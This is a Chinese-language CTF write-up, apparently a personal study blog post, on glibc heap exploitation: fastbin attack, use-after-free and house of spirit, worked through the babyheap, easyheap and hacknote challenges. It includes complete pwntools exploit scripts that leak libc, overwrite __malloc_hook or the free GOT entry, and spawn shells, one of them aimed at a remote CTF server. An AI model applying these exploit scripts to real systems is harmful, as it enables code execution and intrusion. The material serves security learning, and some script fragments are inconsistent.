payload += p64(0) + p64(0x21) #chunk4->size
fill(3,payload)

#gdb.attach(p)

allocate(0x10)      #chunk1
allocate(0x10)      #chunk2, 重叠chunk4

//fill(1,'aaaa')
//fill(2,'bbbb')
payload = "A"*0x10
payload += p64(0) + p64(0x91)  #chunk4->size
fill(3,payload)

allocate(0x80)      #chunk5
free(4)

leak_addr = u64(dump(2)[:8])
libc_base = leak_addr - 0x3c4b78
malloc_hook = libc_base + libc.symbols['_malloc_hook']


allocate(0x60)      #chunk4
free(4)

#payload = p64(malloc_hook - 0x20+0xd)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

allocate(0x60)      #chunk4
allocate(0x60)      #chunk6(fake chunk)

one_gadget = libc + 0x4526a
payload = p8(0)*3 +p64(0)*2+ p64(one_gadget)
fill(6, payload)

#gdb.attach(p)

allocate(0x10)

p.interactive()

初始内存分布

可以看到,heap从 0x555b0e321000开始

然后我们释放chunk1和chunk2 free(1);free(2)此时在单链表fastbin中chunk2->fd 指向chunk1.

如果利用栈溢出的漏洞,修改堆内存,把chunk2->fd,使它指向chunk4,就可以将unsortedbin chunk,链接到fastbin中。

但是此时害需要把chunk4->size的0x91修改成0x21,绕过检测1即malloc对fastbin chunk大小的检查。

由于程序开启了PIE,所以实际上我们是不知道heap的地址的,因为它是随机的,但是heap的起始地址的低字节一定是0x00,那么chunk4的低字节位一定是0x80(因为每个chunk相隔0x20) 这种情况是在申请前面的init函数中的那个table空间申请使用mmap系统调用,而不是通过malloc函数调用,是为了保证chunk是从heap的起始地址开始分配的。

此时开启这个断点。

将0x80写入chunk2的fd指针了,即chunk2->fd -> chunk4

此时再次申请空间,根据fastbin后进先出的原理,那么实际上调用的是chunk2,在chunk2的位置创建一共new chunk1,在chunk4的位置创造一个重叠的new chunk2.

先来查看一下,chunk4修改size,使其通过malloc的fastbin大小检查

可以看到在0x80的size位变成了0x21

这边的chunk的结构是一共占0x20个位置,第一个0x8,放置1或者0,查看chunk是否可以使用,第二个0x8存放size
最后的0x10存放content,但是这个content可以溢出嘛,然后写到下面一位的第一个0x8第二个0x8这样

在断到重新申请chunk

由于unsortedbin双链表,会产生chunk4和top chunk合并,所以申请完chunk4之后要将chunk4->size 修改0x91,并且申请一个unsortedbin chunk,这样释放的chunk4就可以将它放入unsortedbin。

chunk5为防止合并的chunk

此时chunk4的fd,bk指针均指向main_arena+88,又因为这个是起始地址,所以只要找libc的起始地址然后做差就行(main_arena和libc有一个固定偏移0x3c4b20)

hex(3951480) = 0x3c4b78

libc_base = fd_addr - 0x58 - 0x3c4b20

接下来就是修改_malloc_hook了,malloc_hook指向void function(size_t size, void caller),调用malloc函数的时候,首先会判断hook函数指针是否为空,不为空才调用它。所以需要使得malloc_hook指向one_gadget。但是由于fast chunk的大小只能在0x20到0x80之间,那么就要计算偏移了,因为要找到0x7f

此时malloc_hook滞空,但是上面却有0x7f,那么它们相差多少距离

相差一个0x10再-2个字节,0xd

此时所拥有0xd这个位置的chunk就称fake chunk,因为它不会在heap中出现。

断到发送payload后面

然后我们把它申请回来,但是此时只把fastbin链表后面那个申请回来了

要想把这个0x7f申请回来,则需要再申请一个0x60的大小

这个时候就把0x7f给申请回来了。那下一步就是修改这个目标地址的数据为one_gadget

这样就成功的往malloc_hook中写入one_gadget了。

那么p8(0)3 + p64(0) 2这个是怎么计算出来的呢

我们回过头看一下main_arena-0x30这个位置。

由于需要0x7f才能通过fastbin的malloc检查,所以我们在malloc那个fake chunk的时候需要那个size位上面是0x7f。这才导致我们用上了+0xd这个位置,但是我们的目标地址是malloc_hook,实际上是要更改malloc_hook的参数,所以在最后写入one_gadget的时候要计算一下位置,p8(0)*3的意思是0x7f距离刚开始有6个位置(0x00007f),然后从上面的2个0x8 0x8(2个地址)开始填充,所以需要这么大的空间,才能刚刚好把one_gadget写在0x00007f。。。。。

再最后调用calloc函数就能调用malloc_hook。

8.3.2 Use After Free

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL ,然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

UAF漏洞利用过程:

  1. 申请一段空间,并将其释放,释放后的指针不清空,将这个指针简称为p1
  2. 申请空间p2, 由于malloc分配过程原则,使得p2指向刚刚释放的p1的空间,构造特殊的数据将这段内存空间覆盖
  3. 利用p1,一般会多出一个函数的指针,由于之前已经使用p2将p1的数据给覆盖了,所以此时p1上的数据是我们可以控制的,就存在劫持函数流的可能
例题1.不重置指针
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
  NAME *a;
  a = (NAME *)malloc(sizeof(struct name)); 
  a->func = myprint; //指向myprint函数
  a->myname = "I can also use it"; 
  a->func("this is my function"); //打印出this is my function
  // free without modify
  free(a); //释放a的空间,但是不重置指针为NULL
  a->func("I can also use it"); //仍然会打印出I can also use it
  // free with modify
  a->func = printmyname;  //给指针赋值上新函数
  a->func("this is my function"); //此时就不会打印出this is my function而是 call print my name
  // set NULL
  a = NULL; //设置指针为空 
  printf("this pogram will crash...\n");
  a->func("can not be printed..."); //无效,没有反应
}

最后输出的结果

this is my function
I can also use it
call print my name
this pogram will crash...
2.例题double free

目录

1.程序分析
    main.c
    crate函数
    delete函数
2.漏洞分析
    UAF漏洞
3.思路
    利用UAF漏洞将结构体函数修改成put函数
    通过获取程序基地址绕过PIE
    通过修改printf函数泄露libc_base,或者通过计算偏移得出libc_base
    再次利用UAF漏洞将结构体函数修改成system函数,并在寄存器上布置/bin/sh
4.总结与理解

程序分析

从源代码部分进行分析,再从反编译层面理解

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct String{
    union {
        char *buf;
        char array[16];
    } o;
    int len;
    void (*free)(struct String *ptr);
} String;

struct {
    int inuse;
    String *str;
} Strings[0x10];

void showMenu(void);

int getInt(void);

void creatStr();

void deleteStr();

void freeShort(String *str);

void freeLong(String *str);
int getInt(void) {
    char str[11];
    char ch;
    int i;
    for (i = 0; (read(STDIN_FILENO, &ch, 1), ch) != '\n' && i < 10 && ch != -1; i++) {
        str[i] = ch;
    }
    str[i] = 0;
    return atoi(str);
}

int main(void) {
    char buf[1024];
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    printf("+++++++++++++++++++++++++++\n");
    printf("So, let's crash the world\n");
    printf("+++++++++++++++++++++++++++\n");


    while (1) {
        showMenu();
        if(read(STDIN_FILENO,buf,1024)==0){
            return 1;
        }
        if(!strncmp(buf,"create ",7)) {
            creatStr();
        } 
        else if (!strncmp(buf,"delete ",7)) {
            deleteStr();
        }
        else if(!strncmp(buf,"quit ",5)) {
            printf("Bye~\n");
            return 0;
        }
        else{
            printf("Invalid cmd\n");
        }
    }

}
void freeShort(String *str) {
    free(str);
}

void freeLong(String *str) {
    free(str->o.buf);
    free(str);
}

void deleteStr() {
    int id;
    char buf[0x100];
    printf("Pls give me the string id you want to delete\nid:");
    id = getInt();
    if (id < 0 || id > 0x10) {
        printf("Invalid id\n");
    }
    if (Strings[id].str) {
        printf("Are you sure?:");
        read(STDIN_FILENO,buf,0x100);
        if(strncmp(buf,"yes",3)) {
            return;
        }
        Strings[id].str->free(Strings[id].str);
        Strings[id].inuse = 0;
    }
}


void creatStr() {
    String *string = malloc(sizeof(String));
    int i;
    char *str = NULL;
    char buf[0x1000];
    size_t size;

    printf("Pls give string size:");
    size = (size_t) getInt();
    if (size < 0 || size > 0x1000) {
        printf("Invalid size\n");
        free(string);
        return;
    }
    printf("str:");
    if (read(STDIN_FILENO, buf, size) == -1) {
        printf("got elf!!\n");
        exit(1);
    }
    size = strlen(buf);
    if (size < 16) {
        strncpy(string->o.array, buf, size);
        string->free = freeShort;
    }
    else {
        str = malloc(size);
        if (str == NULL) {
            printf("malloc faild!\n");
            exit(1);
        }
        strncpy(str, buf, size);
        string->o.buf = str;
        string->free = freeLong;

    }

    string->len = (int) size;
    for (i = 0; i < 0x10; i++) {
        if (Strings[i].inuse == 0) {
            Strings[i].inuse = 1;
            Strings[i].str = string;
            printf("The string id is %d\n", i);
            break;
        }
    }
    if (i == 0x10) {
        printf("The string list is full\n");
        string->free(string);
    }
}


void showMenu(void) {
    printf("1.create string\n");
    printf("2.delete string\n");
    printf("3.quit\n");
}

首先映入眼帘的就是2个结构体

typedef struct String
{
    union {
        char *buf;
        char array[16];
    } o;
    int len;
    void (*free)(struct String *ptr);
} String;

struct
{
    int inuse;
    String *str;
} Strings[0x10];

create函数。

此时就可以考虑UAF,先通过2次create,然后修改Str结构体函数指针指向一个地址(考虑PIE绕过)。

delete函数。

这边就调用了结构体函数

在查看ida分析的时候,delete函数的调用就显得比较难理解了。

但是回头来看create函数的这边给全局变量string赋值的

或者也可以在ida里面添加结构体来使得更好看,但是这个结构体要自己写,也要看的懂结构体才行。

漏洞分析**

首先是结构体

typedef struct String
{
    union {
        char *buf;
        char array[16];
    } o;
    int len;
    void (*free)(struct String *ptr);
} String;

这个有调用一个函数,这样就很有意思了,就可以把这个函数修改成自己想要的函数。

然后是delete虽然调用了free函数,但是却没有将函数指针设NULL。这边就出现了UAF漏洞。

解题思路
利用UAF漏洞将结构体函数修改成put函数
通过获取程序基地址绕过PIE
通过修改printf函数泄露libc_base,或者通过计算偏移得出libc_base
再次利用UAF漏洞将结构体函数修改成system函数,并在寄存器上布置/bin/sh

free_one的函数地址,我们向上找出一个D开头的可调用的函数地址

D2D这边有个call _puts函数地址,我们可以通过UAF漏洞来修改puts函数的地址

create(15,"giao1")
create(15,"giao2") 这边只要小于16就行,会申请一个大小为32的空间
delete(1)
delete(0)  此时fast bin 的链表结构为 string1 -> string0

然后需要创建一个大于16且能放下payload大小的堆块。

create(32,'a'*24+'\x2d')
delete(1)   调用函数,被修改成puts函数

接收数据,计算elf_base 和printf函数的真实地址,还有一些寄存器的真实地址

elf_base = u64(p.recv(6).ljust(8,'\x00'))  -0xd2d
printf_plt = elf_base + 0x9d0
puts_plt = elf_base + 0x990
puts_got = elf_base + 0x202030  got地址可以用elf.got['puts']获取

pop_rdi = elf_base + 0x11e3
pop_12_15 = elf_base + 0x11dc

然后要删除刚刚创建的那个string,再次调用UAF实现libc_base的泄露。

格式化字符串漏洞泄露:(学艺不精,如果是自己想的话,不太能够想到)

delete(0)
create(32,'a'*8 + '%30$p' + 's'*11 + p64(printf_addr))
delete(1)
x = p.recv()
libc_base = int(x[8:22],16) - 0x3b5760

然后再次使用UAF就行了
delete(0)
create(32, '/bin/sh;' + 's'*16 + p64(system_addr))
delete(1)

(不太行)

通过泄露puts_got计算libc_base

delete(0)
payload = 'a'*24+p64(pop_12_15)+'a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt) + p64(0xc71+elf_base)  

其实有点不太能理解这个pop_12_15为什么在这边使用,可以存放后面的参数吧可能,
然后就是这次的pop_rdi放入参数泄露,最后再回到菜单函数(0xc71)
create(32,payload)
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
delete(1)
delete(0)
payload = 'a'*24+p64(pop_12_15) +'a'*8 + p64(pop_rdi) + p64(binsh_addr)+ p64(system_addr)
delete(1)
再次调用UAF,修改成system,getshell

总结与理解

这道题的难度确实在,多次调用UAF漏洞来依次进行elf_base ,libc_base ,getshell的操作,要做到熟悉的使用UAF漏洞还需要进一步的刷题与学习

例题

easyheap

程序分析

create a heap

edit a heap

delete a heap

思路

创建3个chunk,chunk 0 1 2 ,把chunk1的内容写/bin/sh

利用house of spirit, 制造一个fake chunk到heaparray附近,伪造fake chunk就需要绕过malloc fastbin的检查。所以仍然需要使用0x7f来构造0x70的fastbin

然后通过伪造的fastbin输入内容覆盖chunk0的地址为free_got的地址

然后编辑chunk0将free_got修改成system_plt

这样把chunk1 free掉的时候就会调用system("/bin/sh")

脚本调试

from pwn import *

p = process('./easyheap')
#p = remote('node4.buuoj.cn',25139)
elf =ELF('./easyheap')



def create(size,content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap:')
    p.send(str(content))    

def edit(index,size,content):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
    p.recvuntil('Size of Heap : ')
    p.send(str(size))
    p.recvuntil('Content of heap : ')
    p.send(str(content))

def delete(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))

free_got = elf.got['free']

create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
delete(2)

#gdb.attach(p)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)

create(0x68,'aaaa')
create(0x68,'c')

payload = p8(0)* 35 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])

#gdb.attach(p)

edit(0,len(payload),payload)
delete(1)

#gdb.attach(p)

p.interactive()

在第一个payload发送之前断点

chunk2进入fastbin fd指针指向0x00 .

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)

然后修改chunk1的内容为"/bin/sh\x00"+0x60

后面的部分就是溢出了,溢出的地方就覆盖到了chunk2

来看一下heap结构

p64(0x71)其实是保持这个chunk的size不变,后面的这个0x6020ad才是我们更改的fd指针。看一下这个位置是什么

0x7f

我们的目标地址是bss段上面的那个magic

查看magic附近

0x6020b0的第三位有0x7f,那就拿来用了,可能有点不好看出来,在0x6020b0附近随便减一些,然后看一下内存就行了

既然fake chunk已经伪造成功了,那如果这个时候再把原本的chunk2申请回来会是什么样子的

这个是申请chunk2的

由于fastbin的fd指针被指向了这个地方,所以本来我们只释放了一个fastbinchunk,然后把它申请回来了,但是fastbin中还存在着一个fake chunk,如果此时我们再申请一个chunk,就会把这个申请过来,称作fake chunk

毕竟不是真chunk,所以不会在heap中出现,但是它是真实存在的,就是index=3

可以查看一下heaparray数组

edit修改数据,对地址内容进行修改

而0x6020bd又正好在heaparray上面,那通过修改index3的数据,就可以对

0x6020bd这个位置的内容进行修改,这个时候就可以用到堆溢出了。

把index0的内容写成free_got的地址,这个偏移就是0x6020dd-0x6020b0+3 = 35

p8(0)*35 + p64(free_got)

调试看一下

可以看到index0的地址已经被修改成free_got了。

那继续把free_got所指向的内容修改成system,这样在调用free_got的时候,就会变成调用system了,并且index1的内容是binsh

直接调用edit修改index0就行了。

house of spirit

原理

通过任意地址free掉,达到改写任意地址

条件就是需要能够在目标地址附近建立一个fake chunk。通过改写fake chunk来实现getshell

先申请堆块,然后释放一个堆块到bin,可以通过修改fd指针,伪造0x7f头越过malloc检测,从而将fake chunk取出。

这样其实fake chunk指向的bss段下的内容都变成可以控制的了,如果说chunk的地址保存在bss段上,就可以通过修改fake chunk所指向的内容来修改chunk的地址等内容。

可以劫持got表

hacknote

之前初学堆的时候做过,重新做一遍。

程序分析

add note

delete note

print note

思路

uaf漏洞,申请2个chunk,然后释放它们,但是指针没有被改动,又因为**(&notelist+i)这个地址是puts函数

这个时候如果再申请一个8空间chunk,会把刚刚释放的那个8空间chunk取回来,然后写入content,对于这个index写的是content,但是刚刚那个8空间的chunk里面存放的还是puts函数,它的puts就会被修改成content。把shell_addr写进去再通过print note函数去调用**(&notelist+i)就变成了调用shell。

脚本调试

from pwn import*

io=remote('node4.buuoj.cn',26946)
#io=process('./hacknote')

def add(size,content):
  io.sendlineafter('choice :','1')
  io.sendlineafter('Note size :',str(size))
  io.sendlineafter('Content :',content)

def delete(idx):
  io.sendlineafter('choice :','2')
  io.sendlineafter('Index :',str(idx))

def printf(idx):
  io.sendlineafter('choice :','3')
  io.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(io)
delete(0)
#gdb.attach(io)
delete(1)
#gdb.attach(io)
add(8,p32(shell_addr))
#gdb.attach(io)
printf(0)

io.interactive()

看看申请的2个chunk

一个index有2次申请,分别看看里面是什么东西

0x080485fb就是调用puts函数的区域

0x39的size 后面跟着61616161 aaaa

然后看一下free掉之后

再申请一个chunk写入shell_addr

我们重新申请的8空间大小的chunk的content就可以改写shell_addr,然后现在再调用一下这个被改写的成shell的puts。

print(0)因为当前只有一个index了

babyheap

这题考察的是堆chunk内容中的fasrbin attack。

fastbin attack使用double free的方式先泄露出libc_base。

逆向分析

calloc函数分配的chunk会被清0,跟malloc有所不同。fill函数如果往同一块内存写,可以覆盖其他的chunk

内存分配的大小不能超过4096

如果通过了if(!v4)的验证,就表示chunk被calloc创建了,然后让第一行这个指针为1表示成功创建。

第二行是v3也就是chunk的size

第三行是calloc的返回值,那就是chunk的地址。

result=前面的那个指针1的时候才能说明这个chunk存在然后往下面进行数据填充

24LL*v3+a1+16的地址表示的是目标chunk的地址,然后就是把content的内容写入地址中

问题就存在没有限制content的大小(没有指明范围),可以实现堆溢出,然后把内容写入其他的chunk的指针中

chunk的数据结构如下

struct malloc_chunk{
    INTERNAL_SIZE_T mchunk_prev_size; 记录被释放的相邻chunk的大小。
    INTERNAL_SIZE_T mchunk_size;      记录当前chunk的大小,chunk的大小都是8字节对齐
    struct malloc_chunk *fd;
    struct malloc_chunk *bk;
    struct malloc_chunk *fd_nextsize;
    struck malloc_chunk *bk_nextsize; 
}

然后如果我们先申请两个chunk,然后释放掉,再申请一个chunk,这个时候就会从fastbin chunk的链表中挖走一个大小相符的chunk。

还是先判断chunk是否存在,如果存在,就把为1的那个指针为0,让其他操作的判断失败。

然后再把chunk的size为0,然后释放掉content内容的空间。

先判断,然后按照size打印content

思路

先使用double free的方法,把某个chunk1的内容部分,改写成某个chunk2的地址,这样在dump的时候实际上就是调用这个地址,然后如果可以通过把chunk2的地址通过Fill函数改成backdoor的地址,在调用chunk1内容的时候,就变成了可以getshell。

然后这道题还是要泄露出libc_base。在栈溢出的时候,我们可以通过printf,put,write去打印出某个函数当时的地址,然后通过计算偏移来算出libc_base。 主要利用的是什么虽然地址是变化的,但是两者的相对位置是不变的(应该大概是这样的)

然后堆这边

unsorted bin 的意思是还没被处理的bin,被称作堆管理器的垃圾堆,chunk被释放之后,应该是先进入unsorted bin中等待我们再次分配内存,当它不为空的时候,申请非fastbin的内存的时候,我们就会先从unsorted bin中分割或分配。
main_arena 就是主线程的arena,就是主线程的一块区域,然后把start brk到brk这一块区域叫做堆
堆中计算libc_base,可以使用的是unsortbin存在一个bin时fd和bk指针的特性。大概长这样
stuck one_unsortbin{
    size;
    fd->unsorted bin head->main_arena+0x58
    bk->unsorted bin head->main_arena+0x58
}
然后main_arena对于libc有一个固定偏移0x3c4b20
那如果知道fd的值就可以
libc_base = fd_addr - 0x58 - 0x3c4b20
但是这种时候,unsortbin中有且只能有一个bin。就申请一个大于fastbin的值,让这个chunk释放之后进入unsorted bin中

那知道堆怎么搞出libc_base之后就要思考一下,怎么实现

先申请2个fastbin大小范围的chunk,然后它们是线性排列的,由于fill函数没有指明范围,我们如果写的内容大小超过了单个fastbin大小chunk的范围,就会把内容写到下一个chunk的其他位置

chunk1  {
    key: 0 or 1;
    size: 0x....;
    content: xxxxx;  往这边写入content,然后如果它大于size,就会往下面chunk2的key,size进行填充。这就是堆溢出,溢出的地方,在chunk上面覆盖内容和修改。
}
chunk2 {
    key: 0 or 1;
    size:0x....;
    content: xxxxx;
}

现在知道了堆溢出的作用,我们的目的是求libc_base,即求unsorted bin 的fd,即要修改某个fastbin大小的chunk的内容为fd指针地址,这样在调用dump函数的时候,就可以打印出fd的值。

然后计算出libc偏移后,使用onegadget,将它写入content,最后再申请它或者dump它。

脚本调试

首先先进行内存的申请

allocate(0x10) index0
allocate(0x10) index1
allocate(0x10) index2
allocate(0x10) index3
allocate(0x80) index4

前4个是fastbin大小的chunk 第五个是unsorted bin

再释放掉1 2

free(1)
free(2)

让这2块先去fastbin,gdb调试看一下fastbin情况

尬住了,glibc版本比较高,所以会先用tcachebins,用完之后再用fastbin,不过问题不是很大。(这边之前用kail做的,后面换成了ubuntu1604就没有问题了)

可以看到02e0->02c0 相差0x20个位置,但是明明是只申请了0x10的空间,我觉得是因为tcachebins的范围最小是0x20,所以小于0x20的chunk先进入,然后后面放空。

虽然free掉了,但是状态还是使用。应该是tcachebins的特性吧。

可以看到f2d0 的fd指向 f2c0 那就是index2的fd指针指向index1的chunk,那就来通过堆溢出尝试一下修改

由于index1 和 index2 被释放掉了

所以现在排列是

index0 -> index3 -index4

index4的空间是0x80,如果被释放的话是进入unsorted bin中,我们可以修改index2的chunk内容为chunk4的地址,这样就相当于chunk4被释放了,并且这个释放是在fastbins中的。就很神奇。

但是确实看不懂怎把chunk内容修改,就先调试一下看看堆溢出之后数据被放到哪儿。

fill(0,p64(1)*8)

我是给index0开始填充p64(1)的,可以看到从2a0开始到2d0正好8个被我填充了1,那再看一下,再往下填充1个位置啥情况

fill(0,p64(1)*8+p8(1))

看到被释放的index2的fd不是指向index1的chunk了,最后2位变成了01.

那就可以通过这样去修改fd指针指向chunk4.又因为需要修改size为0x20,那就写payload

payload= p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)这样写的话,意思就是

每个chunk 0x20,溢出到下一位

然后因为chunk3的距离差chunk4 0x80个位置,所以将最后2位修改成0x80

因为此时chunk4被free掉了,我等等还是要malloc回来使用的,但是 fastbin会检查大小,所以还要再修改一下chunk的大小,

然后再把fastbin里面的chunk1 chunk2 申请回来。

然后再申请再释放掉一个unsortedbin大小的内存,实际上就是把刚刚那个更改的fd指针指向unsorted bin head就是main_arena.

allocate(0x10)
allocate(0x10)
payload = p64(0) * 3 + p64(0x91)    改写index4的size,真晕了,我gdb的时候有看到91.我看过去应该是size应该是先绕过一个fastbinsize然后再覆盖到unsortedbinsize
fill(3,payload)   
allocate(0x80)
free(4)   把我们刚刚一直再搞的那个东西给free掉,这样实际上是把那个0x80的放进了unsorted bin 是实际上
dump(2)   调用dump打印出fd的地址

后面就是接收fd的地址(main_arena+0x58地址)然后计算libc_base

然后把shell=onegadget+libc_base

接下来就是如何调用这个shell,通过malloc_hook上方错位构造大小0x60的chunk,然后把malloc_hook的地址改写成shell的地址,这样在调用添加函数的calloc的时候就可以调用到shell。

先把chunk4 malloc回来,然后修改成我们下一个申请chunk的地址,但是又因为chunk2 的fd是chunk4的地址,所以第一次calloc0x10的时候是一句把chunk2给了index1,第二次calloc0x10的时候就把chunk4给index2了,因为fastbin单链表的特点,那么index2 4其实都是在使用chunk4

allocate(0x60)
allocate(0x60)        看不懂啊,这个申请0x60,然后改它的末位位0.可能是malloc函数的函数结构太不熟悉了
payload = p8(0)*3     估计涉及到malloc_hook的一些结构。
payload += p64(0)*2
payload += p64(libc_base+0x4526a)
fill(6, payload)
allocate(0x80)

0 条评论
某人
表情
可输入 255